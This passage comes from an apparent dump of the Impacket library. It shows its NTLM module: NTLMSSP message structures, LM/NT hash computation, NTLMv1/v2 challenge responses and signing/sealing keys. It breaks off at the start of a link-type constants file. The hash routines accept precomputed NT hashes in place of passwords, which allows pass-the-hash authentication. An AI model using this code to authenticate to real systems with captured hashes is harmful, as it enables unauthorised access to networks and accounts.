('flags','<L'),\n        ('domain_len','<H-domain_name'),\n        ('domain_max_len','<H-domain_name'),\n        ('domain_offset','<L=0'),\n        ('host_len','<H-host_name'),\n        ('host_maxlen','<H-host_name'),\n        ('host_offset','<L=0'),\n        ('os_version',':'),\n        ('host_name',':'),\n        ('domain_name',':'))\n                                                                                \n    def __init__(self):\n        Structure.__init__(self)\n        self['flags']= (\n               NTLMSSP_NEGOTIATE_128     |\n               NTLMSSP_NEGOTIATE_KEY_EXCH|\n               # NTLMSSP_LM_KEY      |\n               NTLMSSP_NEGOTIATE_NTLM    |\n               NTLMSSP_NEGOTIATE_UNICODE     |\n               # NTLMSSP_ALWAYS_SIGN |\n               NTLMSSP_NEGOTIATE_SIGN        |\n               NTLMSSP_NEGOTIATE_SEAL        |\n               # NTLMSSP_TARGET      |\n               0)\n        self['host_name']=''\n        self['domain_name']=''\n        self['os_version']=''\n        self._workstation = ''\n\n    def setWorkstation(self, workstation):\n        self._workstation = workstation\n\n    def getWorkstation(self):\n        return self._workstation\n\n    def __hasNegotiateVersion(self):\n        return (self['flags'] & NTLMSSP_NEGOTIATE_VERSION) == NTLMSSP_NEGOTIATE_VERSION\n\n    def getData(self):\n        if len(self.fields['host_name']) > 0:\n            self['flags'] |= NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED\n        if len(self.fields['domain_name']) > 0:\n            self['flags'] |= NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED\n        version_len = len(self.fields['os_version'])\n        if version_len > 0:\n            self['flags'] |= NTLMSSP_NEGOTIATE_VERSION\n        elif self.__hasNegotiateVersion():\n            raise Exception('Must provide the os_version field if the NTLMSSP_NEGOTIATE_VERSION flag is set')\n        if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED:\n            self['host_offset']=32 + version_len\n        if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED:\n            self['domain_offset']=32+len(self['host_name']) + version_len\n        return Structure.getData(self)\n\n    def fromString(self,data):\n        Structure.fromString(self,data)\n\n        domain_offset = self['domain_offset']\n        domain_end    = self['domain_len'] + domain_offset\n        self['domain_name'] = data[ domain_offset : domain_end ]\n\n        host_offset = self['host_offset']\n        host_end    = self['host_len'] + host_offset\n        self['host_name'] = data[ host_offset : host_end ]\n\n        if len(data) >= 36 and self.__hasNegotiateVersion():\n            self['os_version'] = VERSION(data[32:])\n        else:\n            self['os_version'] = ''\n\nclass NTLMAuthChallenge(Structure):\n\n    structure = (\n        ('','\"NTLMSSP\\x00'),\n        ('message_type','<L=2'),\n        ('domain_len','<H-domain_name'),\n        ('domain_max_len','<H-domain_name'),\n        ('domain_offset','<L=40'),\n        ('flags','<L=0'),\n        ('challenge','8s'),\n        ('reserved','8s=\"\"'),\n        ('TargetInfoFields_len','<H-TargetInfoFields'),\n        ('TargetInfoFields_max_len','<H-TargetInfoFields'),\n        ('TargetInfoFields_offset','<L'),\n        ('VersionLen','_-Version','self.checkVersion(self[\"flags\"])'), \n        ('Version',':'),\n        ('domain_name',':'),\n        ('TargetInfoFields',':'))\n\n    @staticmethod\n    def checkVersion(flags):\n        if flags is not None:\n           if flags & NTLMSSP_NEGOTIATE_VERSION == 0:\n              return 0\n        return 8\n\n    def getData(self):\n        if self['TargetInfoFields'] is not None and type(self['TargetInfoFields']) is not bytes:\n            raw_av_fields = self['TargetInfoFields'].getData()\n            self['TargetInfoFields'] = raw_av_fields\n        return Structure.getData(self)\n\n    def fromString(self,data):\n        Structure.fromString(self,data)\n        self['domain_name'] = data[self['domain_offset']:][:self['domain_len']]\n        self['TargetInfoFields'] = data[self['TargetInfoFields_offset']:][:self['TargetInfoFields_len']]\n        return self\n        \nclass NTLMAuthChallengeResponse(Structure):\n\n    structure = (\n        ('','\"NTLMSSP\\x00'),\n        ('message_type','<L=3'),\n        ('lanman_len','<H-lanman'),\n        ('lanman_max_len','<H-lanman'),\n        ('lanman_offset','<L'),\n        ('ntlm_len','<H-ntlm'),\n        ('ntlm_max_len','<H-ntlm'),\n        ('ntlm_offset','<L'),\n        ('domain_len','<H-domain_name'),\n        ('domain_max_len','<H-domain_name'),\n        ('domain_offset','<L'),\n        ('user_len','<H-user_name'),\n        ('user_max_len','<H-user_name'),\n        ('user_offset','<L'),\n        ('host_len','<H-host_name'),\n        ('host_max_len','<H-host_name'),\n        ('host_offset','<L'),\n        ('session_key_len','<H-session_key'),\n        ('session_key_max_len','<H-session_key'),\n        ('session_key_offset','<L'),\n        ('flags','<L'),\n        ('VersionLen','_-Version','self.checkVersion(self[\"flags\"])'), \n        ('Version',':=\"\"'),\n        ('MICLen','_-MIC','self.checkMIC(self[\"flags\"])'),\n        ('MIC',':=\"\"'),\n        ('domain_name',':'),\n        ('user_name',':'),\n        ('host_name',':'),\n        ('lanman',':'),\n        ('ntlm',':'),\n        ('session_key',':'))\n\n    def __init__(self, username = '', password = '', challenge = '', lmhash = '', nthash = '', flags = 0):\n        Structure.__init__(self)\n        self['session_key']=''\n        self['user_name']=username.encode('utf-16le')\n        self['domain_name']='' #\"CLON\".encode('utf-16le')\n        self['host_name']='' #\"BETS\".encode('utf-16le')\n        self['flags'] = (   #authResp['flags']\n            # we think (beto & gera) that his flags force a memory conten leakage when a windows 2000 answers using\n            # uninitializaed verifiers\n           NTLMSSP_NEGOTIATE_128     |\n           NTLMSSP_NEGOTIATE_KEY_EXCH|\n           # NTLMSSP_LM_KEY      |\n           NTLMSSP_NEGOTIATE_NTLM    |\n           NTLMSSP_NEGOTIATE_UNICODE     |\n           # NTLMSSP_ALWAYS_SIGN |\n           NTLMSSP_NEGOTIATE_SIGN        |\n           NTLMSSP_NEGOTIATE_SEAL        |\n           # NTLMSSP_TARGET      |\n           0)\n        # Here we do the stuff\n        if username and ( lmhash != '' or nthash != ''):            \n            self['lanman'] = get_ntlmv1_response(lmhash, challenge)\n            self['ntlm'] = get_ntlmv1_response(nthash, challenge)\n        elif username and password:\n            lmhash = compute_lmhash(password)\n            nthash = compute_nthash(password)\n            self['lanman']=get_ntlmv1_response(lmhash, challenge)\n            self['ntlm']=get_ntlmv1_response(nthash, challenge)    # This is not used for LM_KEY nor NTLM_KEY\n        else:\n            self['lanman'] = ''\n            self['ntlm'] = ''\n            if not self['host_name']:\n                self['host_name'] = 'NULL'.encode('utf-16le')      # for NULL session there must be a hostname\n\n    @staticmethod\n    def checkVersion(flags):\n        if flags is not None:\n           if flags & NTLMSSP_NEGOTIATE_VERSION == 0:\n              return 0\n        return 8\n\n    @staticmethod\n    def checkMIC(flags):\n        # TODO: Find a proper way to check the MIC is in there\n        if flags is not None:\n           if flags & NTLMSSP_NEGOTIATE_VERSION == 0:\n              return 0\n        return 16\n                                                                                \n    def getData(self):\n        self['domain_offset']=64+self.checkMIC(self[\"flags\"])+self.checkVersion(self[\"flags\"])\n        self['user_offset']=64+self.checkMIC(self[\"flags\"])+self.checkVersion(self[\"flags\"])+len(self['domain_name'])\n        self['host_offset']=self['user_offset']+len(self['user_name'])\n        self['lanman_offset']=self['host_offset']+len(self['host_name'])\n        self['ntlm_offset']=self['lanman_offset']+len(self['lanman'])\n        self['session_key_offset']=self['ntlm_offset']+len(self['ntlm'])\n        return Structure.getData(self)\n\n    def fromString(self,data):\n        Structure.fromString(self,data)\n        # [MS-NLMP] page 27\n        # Payload data can be present in any order within the Payload field, \n        # with variable-length padding before or after the data\n\n        domain_offset = self['domain_offset']\n        domain_end = self['domain_len'] + domain_offset\n        self['domain_name'] = data[ domain_offset : domain_end ]\n\n        host_offset = self['host_offset']\n        host_end    = self['host_len'] + host_offset\n        self['host_name'] = data[ host_offset: host_end ]\n\n        user_offset = self['user_offset']\n        user_end    = self['user_len'] + user_offset\n        self['user_name'] = data[ user_offset: user_end ]\n\n        ntlm_offset = self['ntlm_offset'] \n        ntlm_end    = self['ntlm_len'] + ntlm_offset \n        self['ntlm'] = data[ ntlm_offset : ntlm_end ]\n\n        lanman_offset = self['lanman_offset'] \n        lanman_end    = self['lanman_len'] + lanman_offset\n        self['lanman'] = data[ lanman_offset : lanman_end]\n\n    def getUserString(self):\n        if self['flags'] & NTLMSSP_NEGOTIATE_UNICODE:\n            user = self['user_name'].decode('utf-16le')\n            domain = self['domain_name'].decode('utf-16le')\n        else:\n            user = self['user_name'].decode('cp437')\n            domain = self['domain_name'].decode('cp437')\n\n        # user is in UPN format\n        if not domain and '@' in user:\n            user, _, domain = user.rpartition(\"@\")\n\n        return ('%s/%s' % (domain, user)).upper()\n\nclass ImpacketStructure(Structure):\n    def set_parent(self, other):\n        self.parent = other\n\n    def get_packet(self):\n        return str(self)\n\n    def get_size(self):\n        return len(self)\n\nclass ExtendedOrNotMessageSignature(Structure):\n    def __init__(self, flags = 0, **kargs):\n        if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n            self.structure = self.extendedMessageSignature\n        else:\n            self.structure = self.MessageSignature\n        return Structure.__init__(self, **kargs)\n\nclass NTLMMessageSignature(ExtendedOrNotMessageSignature):\n      extendedMessageSignature = (\n          ('Version','<L=1'),\n          ('Checksum','<q'),\n          ('SeqNum','<I'),\n      )\n\n      MessageSignature = (\n          ('Version','<L=1'),\n          ('RandomPad','<I=0'),\n          ('Checksum','<I'),\n          ('SeqNum','<I'),\n      )\n\nKNOWN_DES_INPUT = b\"KGS!@#$%\"\n\ndef __expand_DES_key(key):\n    # Expand the key from a 7-byte password key into a 8-byte DES key\n    if not isinstance(key, bytes):\n        key = bytes(key)\n    key  = bytearray(key[:7]).ljust(7, b'\\x00')\n    s = bytearray()\n    s.append(((key[0] >> 1) & 0x7f) << 1)\n    s.append(((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1)\n    s.append(((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1)\n    s.append(((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1)\n    s.append(((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1)\n    s.append(((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1)\n    s.append(((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1)\n    s.append((key[6] & 0x7f) << 1)\n    return bytes(s)\n\ndef __DES_block(key, msg):\n    cipher = DES.new(__expand_DES_key(key),DES.MODE_ECB)\n    return cipher.encrypt(msg)\n\ndef ntlmssp_DES_encrypt(key, challenge):\n    answer  = __DES_block(key[:7], challenge)\n    answer += __DES_block(key[7:14], challenge)\n    answer += __DES_block(key[14:], challenge)\n    return answer\n\n# High level functions to use NTLMSSP\n\ndef getNTLMSSPType1(workstation='', domain='', signingRequired = False, use_ntlmv2 = USE_NTLMv2, version = None):\n    # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with\n    # international characters.\n    import sys\n    encoding = sys.getfilesystemencoding()\n    if encoding is not None:\n        try:\n            workstation.encode('utf-16le')\n        except:\n            workstation = workstation.decode(encoding)\n        try:\n            domain.encode('utf-16le')\n        except:\n            domain = domain.decode(encoding)\n\n    # Let's prepare a Type 1 NTLMSSP Message\n    auth = NTLMAuthNegotiate()\n    auth['flags']=0\n    if signingRequired:\n       auth['flags'] = NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | \\\n                       NTLMSSP_NEGOTIATE_SEAL\n    if use_ntlmv2:\n       auth['flags'] |= NTLMSSP_NEGOTIATE_TARGET_INFO\n    auth['flags'] |= NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | NTLMSSP_NEGOTIATE_UNICODE | \\\n                     NTLMSSP_REQUEST_TARGET |  NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_56\n\n    if version is not None:\n        auth['flags'] |= NTLMSSP_NEGOTIATE_VERSION\n        auth['os_version'] = version\n\n    # We're not adding workstation / domain fields this time. Normally Windows clients don't add such information but,\n    # we will save the workstation name to be used later.\n    auth.setWorkstation(workstation)\n\n    return auth\n\ndef getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = USE_NTLMv2, channel_binding_value = b'', service='cifs', version=None):\n\n    # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.\n    if password is None:\n        password = ''\n\n    # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with\n    # international characters.\n    import sys\n    encoding = sys.getfilesystemencoding()\n    if encoding is not None:\n        try:\n            user.encode('utf-16le')\n        except:\n            user = user.decode(encoding)\n        try:\n            password.encode('utf-16le')\n        except:\n            password = password.decode(encoding)\n        try:\n            domain.encode('utf-16le')\n        except:\n            domain = user.decode(encoding)\n\n    ntlmChallenge = NTLMAuthChallenge(type2)\n\n    # Let's start with the original flags sent in the type1 message\n    responseFlags = type1['flags']\n\n    # Token received and parsed. Depending on the authentication \n    # method we will create a valid ChallengeResponse\n    ntlmChallengeResponse = NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge'])\n\n    clientChallenge = b(\"\".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)]))\n\n    serverName = ntlmChallenge['TargetInfoFields']\n\n    ntResponse, lmResponse, sessionBaseKey = computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'],\n                                                             clientChallenge, serverName, domain, user, password,\n                                                             lmhash, nthash, use_ntlmv2, channel_binding_value = channel_binding_value, service=service)\n\n    # Let's check the return flags\n    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:\n        # No extended session security, taking it out\n        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_128 ) == 0:\n        # No support for 128 key len, taking it out\n        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_128\n    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:\n        # No key exchange supported, taking it out\n        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_KEY_EXCH\n    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SEAL) == 0:\n        # No sign available, taking it out\n        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SEAL\n    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SIGN) == 0:\n        # No sign available, taking it out\n        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SIGN\n    if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN) == 0:\n        # No sign available, taking it out\n        responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n\n    keyExchangeKey = KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password,\n                           lmhash, nthash, use_ntlmv2)\n\n    # Special case for anonymous login\n    if user == '' and password == '' and lmhash == '' and nthash == '':\n      keyExchangeKey = b'\\x00'*16\n\n    # If we set up key exchange, let's fill the right variables\n    if ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH:\n       # not exactly what I call random tho :\\\n       # exportedSessionKey = this is the key we should use to sign\n       exportedSessionKey = b(\"\".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)]))\n       #exportedSessionKey = \"A\"*16\n       #print \"keyExchangeKey %r\" % keyExchangeKey\n       # Let's generate the right session key based on the challenge flags\n       #if responseFlags & NTLMSSP_NTLM2_KEY:\n           # Extended session security enabled\n       #    if responseFlags & NTLMSSP_KEY_128:\n               # Full key\n       #        exportedSessionKey = exportedSessionKey\n       #    elif responseFlags & NTLMSSP_KEY_56:\n               # Only 56-bit key\n       #        exportedSessionKey = exportedSessionKey[:7]\n       #    else:\n       #        exportedSessionKey = exportedSessionKey[:5]\n       #elif responseFlags & NTLMSSP_KEY_56:\n           # No extended session security, just 56 bits key\n       #    exportedSessionKey = exportedSessionKey[:7] + '\\xa0'\n       #else:\n       #    exportedSessionKey = exportedSessionKey[:5] + '\\xe5\\x38\\xb0'\n\n       encryptedRandomSessionKey = generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)\n    else:\n       encryptedRandomSessionKey = None\n       # [MS-NLMP] page 46\n       exportedSessionKey        = keyExchangeKey\n\n    ntlmChallengeResponse['flags'] = responseFlags\n    ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le')\n    ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le')\n    if lmResponse == '':\n        ntlmChallengeResponse['lanman'] = b'\\x00'\n    else:\n        ntlmChallengeResponse['lanman'] = lmResponse\n\n    if version is not None:\n        ntlmChallengeResponse['Version'] = version\n    ntlmChallengeResponse['ntlm'] = ntResponse\n    if encryptedRandomSessionKey is not None: \n        ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey\n\n    return ntlmChallengeResponse, exportedSessionKey\n\n\n# NTLMv1 Algorithm\n\ndef generateSessionKeyV1(password, lmhash, nthash):\n    hash = MD4.new()\n    hash.update(NTOWFv1(password, lmhash, nthash))\n    return hash.digest()\n\n\ndef computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='',\n                          nthash='', use_ntlmv2=USE_NTLMv2):\n    if user == '' and password == '':\n        # Special case for anonymous authentication\n        lmResponse = ''\n        ntResponse = ''\n    else:\n        lmhash = LMOWFv1(password, lmhash, nthash)\n        nthash = NTOWFv1(password, lmhash, nthash)\n        if flags & NTLMSSP_NEGOTIATE_LM_KEY:\n           ntResponse = ''\n           lmResponse = get_ntlmv1_response(lmhash, serverChallenge)\n        elif flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n           md5 = hashlib.new('md5')\n           chall = (serverChallenge + clientChallenge)\n           md5.update(chall)\n           ntResponse = ntlmssp_DES_encrypt(nthash, md5.digest()[:8])\n           lmResponse = clientChallenge + b'\\x00'*16\n        else:\n           ntResponse = get_ntlmv1_response(nthash,serverChallenge)\n           lmResponse = get_ntlmv1_response(lmhash, serverChallenge)\n   \n    sessionBaseKey = generateSessionKeyV1(password, lmhash, nthash)\n    return ntResponse, lmResponse, sessionBaseKey\n\ndef compute_lmhash(password):\n    # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)\n    try:\n        password.encode(\"latin-1\")\n    except UnicodeEncodeError:\n        # LM hash can be computed only from latin-1 encoded passwords\n        # If password contains unicode characters, outside latin-1, we return the default LM_HASH\n        return DEFAULT_LM_HASH\n\n    password = ''.join( c.upper() if c in string.ascii_letters else c for c in password )\n\n    lmhash  = __DES_block(b(password[:7]), KNOWN_DES_INPUT)\n    lmhash += __DES_block(b(password[7:14]), KNOWN_DES_INPUT)\n    return lmhash\n\ndef NTOWFv1(password, lmhash = '', nthash=''):\n    if nthash != '':\n       return nthash\n    return compute_nthash(password)   \n\ndef LMOWFv1(password, lmhash = '', nthash=''):\n    if lmhash != '':\n       return lmhash\n    return compute_lmhash(password)\n\ndef compute_nthash(password):\n    # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)\n    try:\n        password = str(password).encode('utf_16le')\n    except UnicodeDecodeError:\n        import sys\n        password = password.decode(sys.getfilesystemencoding()).encode('utf_16le')\n\n    hash = MD4.new()\n    hash.update(password)\n    return hash.digest()\n\ndef get_ntlmv1_response(key, challenge):\n    return ntlmssp_DES_encrypt(key, challenge)\n\n# NTLMv2 Algorithm - as described in MS-NLMP Section 3.3.2\n\n# Crypto Stuff\n\ndef MAC(flags, handle, signingKey, seqNum, message):\n   # [MS-NLMP] Section 3.4.4\n   # Returns the right messageSignature depending on the flags\n   messageSignature = NTLMMessageSignature(flags)\n   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n       if flags & NTLMSSP_NEGOTIATE_KEY_EXCH:\n           messageSignature['Version'] = 1\n           messageSignature['Checksum'] = \\\n           struct.unpack('<q', handle(hmac_md5(signingKey, struct.pack('<i', seqNum) + message)[:8]))[0]\n           messageSignature['SeqNum'] = seqNum\n           seqNum += 1\n       else:\n           messageSignature['Version'] = 1\n           messageSignature['Checksum'] = struct.unpack('<q',hmac_md5(signingKey, struct.pack('<i',seqNum)+message)[:8])[0]\n           messageSignature['SeqNum'] = seqNum\n           seqNum += 1\n   else:\n       messageSignature['Version'] = 1\n       messageSignature['Checksum'] = struct.pack('<I',binascii.crc32(message)& 0xFFFFFFFF)\n       messageSignature['RandomPad'] = 0\n       messageSignature['RandomPad'] = handle(struct.pack('<I',messageSignature['RandomPad']))\n       messageSignature['Checksum'] = struct.unpack('<I',handle(messageSignature['Checksum']))[0]\n       messageSignature['SeqNum'] = handle(b'\\x00\\x00\\x00\\x00')\n       messageSignature['SeqNum'] = struct.unpack('<I',messageSignature['SeqNum'])[0] ^ seqNum\n       messageSignature['RandomPad'] = 0\n       \n   return messageSignature\n\ndef SEAL(flags, signingKey, sealingKey, messageToSign, messageToEncrypt, seqNum, handle):\n   sealedMessage = handle(messageToEncrypt)\n   signature = MAC(flags, handle, signingKey, seqNum, messageToSign)\n   return sealedMessage, signature\n\ndef SIGN(flags, signingKey, message, seqNum, handle):\n   return MAC(flags, handle, signingKey, seqNum, message)\n\ndef SIGNKEY(flags, randomSessionKey, mode = 'Client'):\n   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n       if mode == 'Client':\n           md5 = hashlib.new('md5')\n           md5.update(randomSessionKey + b\"session key to client-to-server signing key magic constant\\x00\")\n           signKey = md5.digest()\n       else:\n           md5 = hashlib.new('md5')\n           md5.update(randomSessionKey + b\"session key to server-to-client signing key magic constant\\x00\")\n           signKey = md5.digest()\n   else:\n       signKey = None\n   return signKey\n\ndef SEALKEY(flags, randomSessionKey, mode = 'Client'):\n   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n       if flags & NTLMSSP_NEGOTIATE_128:\n           sealKey = randomSessionKey\n       elif flags & NTLMSSP_NEGOTIATE_56:\n           sealKey = randomSessionKey[:7]\n       else:\n           sealKey = randomSessionKey[:5]\n\n       if mode == 'Client':\n               md5 = hashlib.new('md5')\n               md5.update(sealKey + b'session key to client-to-server sealing key magic constant\\x00')\n               sealKey = md5.digest()\n       else:\n               md5 = hashlib.new('md5')\n               md5.update(sealKey + b'session key to server-to-client sealing key magic constant\\x00')\n               sealKey = md5.digest()\n\n   elif flags & NTLMSSP_NEGOTIATE_56:\n       sealKey = randomSessionKey[:7] + b'\\xa0'\n   else:\n       sealKey = randomSessionKey[:5] + b'\\xe5\\x38\\xb0'\n\n   return sealKey\n\n\ndef generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):\n   cipher = ARC4.new(keyExchangeKey)\n   cipher_encrypt = cipher.encrypt\n\n   sessionKey = cipher_encrypt(exportedSessionKey)\n   return sessionKey\n\ndef KXKEY(flags, sessionBaseKey, lmChallengeResponse, serverChallenge, password, lmhash, nthash, use_ntlmv2 = USE_NTLMv2):\n   if use_ntlmv2:\n       return sessionBaseKey\n\n   if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n       if flags & NTLMSSP_NEGOTIATE_NTLM:\n          keyExchangeKey = hmac_md5(sessionBaseKey, serverChallenge + lmChallengeResponse[:8])\n       else:\n          keyExchangeKey = sessionBaseKey\n   elif flags & NTLMSSP_NEGOTIATE_NTLM:\n       if flags & NTLMSSP_NEGOTIATE_LM_KEY:\n           keyExchangeKey = __DES_block(LMOWFv1(password, lmhash)[:7], lmChallengeResponse[:8]) + __DES_block(\n               LMOWFv1(password, lmhash)[7] + b'\\xBD\\xBD\\xBD\\xBD\\xBD\\xBD', lmChallengeResponse[:8])\n       elif flags & NTLMSSP_REQUEST_NON_NT_SESSION_KEY:\n          keyExchangeKey = LMOWFv1(password,lmhash)[:8] + b'\\x00'*8\n       else:\n          keyExchangeKey = sessionBaseKey\n   else:\n       raise Exception(\"Can't create a valid KXKEY!\")\n\n   return keyExchangeKey\n      \ndef hmac_md5(key, data):\n    import hmac\n    h = hmac.new(key, digestmod=hashlib.md5)\n    h.update(data)\n    return h.digest()\n\ndef NTOWFv2( user, password, domain, hash = ''):\n    if hash != '':\n       theHash = hash \n    else:\n       theHash = compute_nthash(password)\n    return hmac_md5(theHash, user.upper().encode('utf-16le') + domain.encode('utf-16le'))\n\ndef LMOWFv2( user, password, domain, lmhash = ''):\n    return NTOWFv2( user, password, domain, lmhash)\n\n\ndef computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='',\n                          nthash='', use_ntlmv2=USE_NTLMv2, channel_binding_value=b'', service='cifs'):\n    responseServerVersion = b'\\x01'\n    hiResponseServerVersion = b'\\x01'\n    responseKeyNT = NTOWFv2(user, password, domain, nthash)\n    av_pairs = AV_PAIRS(serverName)\n    # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will\n    # get access denied\n    # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation\n    # level\n    if TEST_CASE is False:\n        av_pairs[NTLMSSP_AV_TARGET_NAME] = f\"{service}/\".encode('utf-16le') + av_pairs[NTLMSSP_AV_DNS_HOSTNAME][1]\n        if av_pairs[NTLMSSP_AV_TIME] is not None:\n           aTime = av_pairs[NTLMSSP_AV_TIME][1]\n        else:\n           aTime = struct.pack('<q', (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000) )\n           av_pairs[NTLMSSP_AV_TIME] = aTime\n        serverName = av_pairs.getData()\n    else:\n        aTime = b'\\x00'*8\n    \n    if len(channel_binding_value) > 0:\n        av_pairs[NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value\n\n    # Format according to:\n    # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b\n    temp = responseServerVersion # RespType 1 byte\n    temp += hiResponseServerVersion # HiRespType 1 byte\n    temp += b'\\x00' * 2 # Reserved1 2 bytes\n    temp += b'\\x00' * 4 # Reserved2 4 bytes\n    temp += aTime # TimeStamp 8 bytes\n    temp += clientChallenge # ChallengeFromClient 8 bytes\n    temp += b'\\x00' * 4 # Reserved 4 bytes\n    temp += av_pairs.getData() # AvPairs variable\n\n    ntProofStr = hmac_md5(responseKeyNT, serverChallenge + temp)\n\n    ntChallengeResponse = ntProofStr + temp\n    lmChallengeResponse = hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge\n    sessionBaseKey = hmac_md5(responseKeyNT, ntProofStr)\n\n    if user == '' and password == '':\n        # Special case for anonymous authentication\n        ntChallengeResponse = ''\n        lmChallengeResponse = ''\n\n    return ntChallengeResponse, lmChallengeResponse, sessionBaseKey\n\nclass NTLM_HTTP(object):\n    # Parent class for NTLM HTTP classes.\n    MSG_TYPE = None\n\n    @classmethod\n    def get_instance(cls,msg_64):\n        msg = None\n        msg_type = 0\n        if msg_64 != '':\n            msg = base64.b64decode(msg_64[5:]) # Remove the 'NTLM '\n            msg_type = msg[8]\n    \n        for _cls in NTLM_HTTP.__subclasses__():\n            if msg_type == _cls.MSG_TYPE:\n                instance = _cls()\n                instance.fromString(msg)\n                return instance\n\n    \nclass NTLM_HTTP_AuthRequired(NTLM_HTTP):\n    commonHdr = ()\n    # Message 0 means the first HTTP request e.g. 'GET /bla.png'\n    MSG_TYPE = 0\n\n    def fromString(self,data): \n        pass\n\n\nclass NTLM_HTTP_AuthNegotiate(NTLM_HTTP, NTLMAuthNegotiate):\n    commonHdr = ()\n    MSG_TYPE = 1\n\n    def __init__(self):\n        NTLMAuthNegotiate.__init__(self)\n\n\nclass NTLM_HTTP_AuthChallengeResponse(NTLM_HTTP, NTLMAuthChallengeResponse):\n    commonHdr = ()\n    MSG_TYPE = 3\n\n    def __init__(self):\n        NTLMAuthChallengeResponse.__init__(self)\n"
  },
  {
    "path": "impacket/pcap_linktypes.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nLINKTYPE_NULL = 0\nDLT_NULL = LINKTYPE_NULL\nLINKTYPE_ETHERNET = 1\nDLT_EN10MB = LINKTYPE_ETHERNET\nLINKTYPE_AX25 = 3\nDLT_AX25 = LINKTYPE_AX25\nNKTYPE_IEEE802_5 = 6\nDLT_IEEE802 = NKTYPE_IEEE802_5\nLINKTYPE_ARCNET_BSD = 7\nDLT_ARCNET = LINKTYPE_ARCNET_BSD\nLINKTYPE_SLIP = 8\nDLT_SLIP = LINKTYPE_SLIP\nLINKTYPE_PPP = 9\nDLT_PPP = LINKTYPE_PPP\nLINKTYPE_FDDI = 10\nDLT_FDDI = LINKTYPE_FDDI\nLINKTYPE_PPP_HDLC = 50\nDLT_PPP_SERIAL = LINKTYPE_PPP_HDLC\nLINKTYPE_PPP_ETHER = 51\nDLT_PPP_ETHER = LINKTYPE_PPP_ETHER\nLINKTYPE_ATM_RFC1483 = 100\nDLT_ATM_RFC1483 = LINKTYPE_ATM_RFC1483\nLINKTYPE_RAW = 101\nDLT_RAW = LINKTYPE_RAW\nLINKTYPE_C_HDLC = 104\nDLT_C_HDLC = LINKTYPE_C_HDLC\nLINKTYPE_IEEE802_11 = 105\nDLT_IEEE802_11 = LINKTYPE_IEEE802_11\nLINKTYPE_FRELAY = 107\nDLT_FRELAY = 